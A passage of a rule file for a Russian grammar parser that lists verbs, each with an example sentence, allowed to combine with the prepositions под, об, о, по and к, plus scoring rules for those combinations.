rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) 